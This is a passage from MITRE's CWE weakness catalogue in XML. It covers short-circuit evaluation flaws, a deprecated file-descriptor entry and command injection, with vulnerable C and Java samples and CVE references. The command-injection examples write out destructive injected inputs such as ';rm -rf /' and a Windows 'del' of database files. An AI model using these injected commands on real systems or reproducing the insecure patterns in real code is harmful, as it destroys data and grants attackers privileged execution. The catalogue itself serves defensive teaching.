                  <xhtml:div>public class Client {<xhtml:div style="margin-left:1em;">private int UID;<xhtml:br/>public int PID;<xhtml:br/>private String userName;<xhtml:br/>public Client(String userName){<xhtml:div style="margin-left:1em;">PID = getDefaultProfileID();<xhtml:br/>UID = mapUserNametoUID( userName );<xhtml:br/>this.userName = userName;</xhtml:div>}<xhtml:br/>public void setPID(int ID) {<xhtml:div style="margin-left:1em;">UID = ID;</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer implemented setPID with the intention of modifying the PID variable, but due to a typo. accidentally specified the critical variable UID instead. If the program allows profile IDs to be between 1 and 10, but a UID of 1 means the user is treated as an admin, then a user could gain administrative privileges as a result of this typo.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Failure to protect stored data from modification</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>OOP31-PL</Entry_ID>
               <Entry_Name>Do not access private variables or subroutines in other packages</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Maintenance">This entry is closely associated with access control for public methods. If the public methods are restricted with proper access controls, then the information in the private variable will not be exposed to unexpected parties. There may be chaining or composite relationships between improper access controls and this weakness.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-03-03</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction, Type</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="768" Name="Incorrect Short Circuit Evaluation" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product contains a conditional statement with multiple logical expressions in which one of the non-leading expressions may produce side effects. This may lead to an unexpected state in the program after the execution of the conditional, because short-circuiting logic may prevent the side effects from occurring.</Description>
         <Extended_Description>
            <xhtml:p>Usage of short circuit evaluation, though well-defined in the C standard, may alter control flow in a way that introduces logic errors that are difficult to detect, possibly causing errors later during the product's execution. If an attacker can discover such an inconsistency, it may be exploitable to gain arbitrary control over a system.</xhtml:p>
            <xhtml:p>If the first condition of an "or" statement is assumed to be true under normal circumstances, or if the first condition of an "and" statement is assumed to be false, then any subsequent conditional may contain its own logic errors that are not detected during code review or testing.</xhtml:p>
            <xhtml:p>Finally, the usage of short circuit evaluation may decrease the maintainability of the code.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="691" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Note>Widely varied consequences are possible if an attacker is aware of an unexpected state in the product after a conditional. It may lead to information exposure, a system crash, or even complete attacker control of the system.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Minimizing the number of statements in a conditional that produce side effects will help to prevent the likelihood of short circuit evaluation to alter control flow in an unexpected way.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following function attempts to take a size value from a user and allocate an array of that size (we ignore bounds checking for simplicity). The function tries to initialize each spot with the value of its index, that is, A[len-1] = len - 1; A[len-2] = len - 2; ... A[1] = 1; A[0] = 0; However, since the programmer uses the prefix decrement operator, when the conditional is evaluated with i == 1, the decrement will result in a 0 value for the first part of the predicate, causing the second portion to be bypassed via short-circuit evaluation. This means we cannot be sure of what value will be in A[0] when we return the array to the user.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#define PRIV_ADMIN 0<xhtml:br/>#define PRIV_REGULAR 1<xhtml:br/>typedef struct{<xhtml:div style="margin-left:1em;">int privileges;<xhtml:br/>int id;</xhtml:div>} user_t;<xhtml:br/>user_t *Add_Regular_Users(int num_users){<xhtml:div style="margin-left:1em;">user_t* users = (user_t*)calloc(num_users, sizeof(user_t));<xhtml:br/>int i = num_users;<xhtml:br/>while( --i &amp;&amp; (users[i].privileges = PRIV_REGULAR) ){<xhtml:div style="margin-left:1em;">users[i].id = i;</xhtml:div>}<xhtml:br/>return users;</xhtml:div>}<xhtml:br/>int main(){<xhtml:div style="margin-left:1em;">user_t* test;<xhtml:br/>int i;<xhtml:br/>test = Add_Regular_Users(25);<xhtml:br/>for(i = 0; i &lt; 25; i++) printf("user %d has privilege level %d\n", test[i].id, test[i].privileges);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>When compiled and run, the above code will output a privilege level of 1, or PRIV_REGULAR for every user but the user with id 0 since the prefix increment operator used in the if statement will reach zero and short circuit before setting the 0th user's privilege level. Since we used calloc, this privilege will be set to 0, or PRIV_ADMIN.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Failure to protect stored data from modification</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-03-03</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="769" Name="DEPRECATED: Uncontrolled File Descriptor Consumption" Abstraction="Base" Structure="Simple" Status="Deprecated">
         <Description>This entry has been deprecated because it was a duplicate of CWE-774. All content has been transferred to CWE-774.</Description>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-05-08</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Description, Likelihood_of_Exploit, Name, Relationships, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Description, Likelihood_of_Exploit, Name, Potential_Mitigations, References, Relationships, Time_of_Introduction, Type</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">File Descriptor Exhaustion</Previous_Entry_Name>
			<Previous_Entry_Name Date="2019-01-03">Uncontrolled File Descriptor Consumption</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="77" Name="Improper Neutralization of Special Elements used in a Command ('Command Injection')" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.</Description>
         <Extended_Description>
            <xhtml:p>Command injection vulnerabilities typically occur when:</xhtml:p>
            <xhtml:div style="margin-left:1em;">
               <xhtml:div>1. Data enters the application from an untrusted source.</xhtml:div>
               <xhtml:div>2. The data is part of a string that is executed as a command by the application.</xhtml:div>
               <xhtml:div>3. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.</xhtml:div>
            </xhtml:div>
            <xhtml:p>Many protocols and products have their own custom command language. While OS or shell command strings are frequently discovered and targeted, developers may not realize that these other command languages might also be vulnerable to attacks.</xhtml:p>
            <xhtml:p>Command injection is a common problem with wrapper programs.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="74" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="74" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>If a malicious user injects a character (such as a semi-colon) that delimits the end of one command and the beginning of another, it may be possible to then insert an entirely new and unrelated command that was not intended to be executed.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>If at all possible, use library calls rather than external processes to recreate the desired functionality.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>If possible, ensure that all external commands called from the program are statically created.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Operation</Phase>
               <Description>Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Description>Assign permissions that prevent the user from accessing/opening privileged files.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-30">
               <Intro_Text>The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int main(int argc, char** argv) {<xhtml:div style="margin-left:1em;">char cmd[CMD_MAX] = "/usr/bin/cat ";<xhtml:br/>strcat(cmd, argv[1]);<xhtml:br/>system(cmd);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition.</Body_Text>
               <Body_Text>Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-28">
               <Intro_Text>The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>...<xhtml:br/>String btype = request.getParameter("backuptype");<xhtml:br/>String cmd = new String("cmd.exe /K \"<xhtml:div style="margin-left:1em;">c:\\util\\rmanDB.bat "<xhtml:br/>+btype+<xhtml:br/>"&amp;&amp;c:\\utl\\cleanup.bat\"")</xhtml:div>
                     <xhtml:br/>System.Runtime.getRuntime().exec(cmd);<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "&amp; del c:\\dbms\\*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code from a system utility uses the system property APPHOME to determine the directory in which it is installed and then executes an initialization script based on a relative path from the specified directory.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>...<xhtml:br/>String home = System.getProperty("APPHOME");<xhtml:br/>String cmd = home + INITCMD;<xhtml:br/>java.lang.Runtime.getRuntime().exec(cmd);<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The code above allows an attacker to execute arbitrary commands with the elevated privilege of the application by modifying the system property APPHOME to point to a different path containing a malicious version of INITCMD. Because the program does not validate the value read from the environment, if an attacker can control the value of the system property APPHOME, then they can fool the application into running malicious code and take control of the system.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code is a wrapper around the UNIX command cat which prints the contents of a file to standard out. It is also injectable:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#include &lt;stdio.h&gt;<xhtml:br/>#include &lt;unistd.h&gt;<xhtml:br/>
                     <xhtml:br/>int main(int argc, char **argv) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>char cat[] = "cat ";<xhtml:br/>char *command;<xhtml:br/>size_t commandLength;<xhtml:br/>
                           <xhtml:br/>commandLength = strlen(cat) + strlen(argv[1]) + 1;<xhtml:br/>command = (char *) malloc(commandLength);<xhtml:br/>strncpy(command, cat, commandLength);<xhtml:br/>strncat(command, argv[1], (commandLength - strlen(cat)) );<xhtml:br/>
                           <xhtml:br/>system(command);<xhtml:br/>return (0);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Used normally, the output is simply the contents of the file requested:</Body_Text>
               <Example_Code Nature="Informative">
                  <xhtml:div>$ ./catWrapper Story.txt<xhtml:br/>When last we left our heroes...</xhtml:div>
               </Example_Code>
               <Body_Text>However, if we add a semicolon and another command to the end of this line, the command is executed by catWrapper with no complaint:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>$ ./catWrapper Story.txt; ls<xhtml:br/>When last we left our heroes...<xhtml:br/>Story.txt<xhtml:br/>SensitiveFile.txt<xhtml:br/>PrivateData.db<xhtml:br/>a.out*</xhtml:div>
               </Example_Code>
               <Body_Text>If catWrapper had been set to have a higher privilege level than the standard user, arbitrary commands could be executed with that higher privilege.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-36069</Reference>
               <Description>Python-based dependency management tool avoids OS command injection  when generating Git commands but allows  injection of optional arguments with input beginning with a dash, potentially allowing for code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-36069</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-0067</Reference>
               <Description>Canonical example of OS command injection. CGI program does not neutralize "|" metacharacter when invoking a phonebook program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0067</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-9054</Reference>
               <Description>Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-9054</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-1509</Reference>
               <Description>injection of sed script syntax ("sed injection")</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-1509</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-41282</Reference>
               <Description>injection of sed script syntax ("sed injection")</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-41282</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2019-13398</Reference>
               <Description>injection of sed script syntax ("sed injection")</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-13398</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2019-12921</Reference>
               <Description>image program allows injection of commands in "Magick Vector Graphics (MVG)" language.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-12921</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-11698</Reference>
               <Description>anti-spam product allows injection of SNMP commands into confiuration file</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-11698</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Command Injection</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Command injection</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A2</Entry_ID>
               <Entry_Name>Injection Flaws</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A1</Entry_ID>
               <Entry_Name>Unvalidated Input</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A6</Entry_ID>
               <Entry_Name>Injection Flaws</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>IDS34-PL</Entry_ID>
               <Entry_Name>Do not pass untrusted, unsanitized data to a command interpreter</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="136"/>
            <Related_Attack_Pattern CAPEC_ID="15"/>
            <Related_Attack_Pattern CAPEC_ID="183"/>
            <Related_Attack_Pattern CAPEC_ID="248"/>
            <Related_Attack_Pattern CAPEC_ID="40"/>
            <Related_Attack_Pattern CAPEC_ID="43"/>
            <Related_Attack_Pattern CAPEC_ID="75"/>
            <Related_Attack_Pattern CAPEC_ID="76"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-140"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 10: Command Injection.&#34; Page 171"/>
            <Reference External_Reference_ID="REF-1287" Section="Details of Problematic Mappings"/>
         </References>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Allowed-with-Review (this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review).</xhtml:p>
               <xhtml:p>Rationale: CWE-77 is often used when OS command injection (CWE-78) was intended instead [REF-1287].</xhtml:p>
               <xhtml:p>Comments: if the weakness involves a command language besides OS shell invocation, then CWE-77 could be used.</xhtml:p>
            </Note>
            <Note Type="Terminology">
               <xhtml:p>The "command injection" phrase carries different meanings to different people. For some people, it refers to any type of attack that can allow the attacker to execute commands of their own choosing, regardless of how those commands are inserted. The command injection could thus be resultant from another weakness. This usage also includes cases in which the functionality allows the user to specify an entire command, which is then executed; within CWE, this situation might be better regarded as an authorization problem (since an attacker should not be able to specify arbitrary commands.)</xhtml:p>
               <xhtml:p>Another common usage, which includes CWE-77 and its descendants, involves cases in which the attacker injects separators into the command being constructed.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, References, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
